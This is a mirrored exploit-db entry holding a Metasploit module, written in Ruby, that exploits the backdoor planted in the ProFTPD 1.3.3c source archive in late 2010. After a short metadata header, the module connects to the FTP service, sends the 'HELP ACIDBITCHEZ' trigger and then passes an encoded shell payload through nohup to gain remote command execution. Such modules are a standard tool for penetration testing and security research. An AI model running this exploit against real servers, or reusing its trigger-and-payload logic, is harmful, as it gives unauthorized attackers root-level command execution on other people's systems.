ProFTPd-1.3.3c – Backdoor Command Execution (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-12-03

类别：

remote

平台：

linux

来源：https://www.exploit-db.com/exploits/16921/

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##

# $Id: proftpd_133c_backdoor.rb 11214 2010-12-03 12:34:38Z swtornio $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})

super(update_info(info,

'Name' => 'ProFTPD-1.3.3c Backdoor Command Execution',

'Description'=> %q{

This module exploits a malicious backdoor that was added to the

ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]

archive between November 28th 2010 and 2nd December 2010.

},

'Author' => [ 'MC', 'darkharper2' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 11214 $',

'References' =>

[

[ 'OSVDB', '69562'],

[ 'BID', '45150' ],

[ 'URL', 'http://sourceforge.net/mailarchive/message.php?msg_name=alpine.DEB.2.00.1012011542220.12930%40familiar.castaglia.org' ],

],

'Privileged' => true,

'Platform' => [ 'unix' ],

'Arch' => ARCH_CMD,

'Payload'=>

{

'Space'=> 2000,

'BadChars' => '',

'DisableNops' => true,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl telnet',

}

},

'Targets'=>

[

[ 'Automatic', { } ],

],

'DisclosureDate' => 'Dec 2 2010',

'DefaultTarget' => 0))

deregister_options('FTPUSER', 'FTPPASS')

end

def exploit

connect

print_status("Sending Backdoor Command")

sock.put("HELP ACIDBITCHEZ\r\n")

res = sock.get_once(-1,10)

if ( res and res =~ /502/ )

print_error("Not backdoored")

else

sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")

handler

end

disconnect

end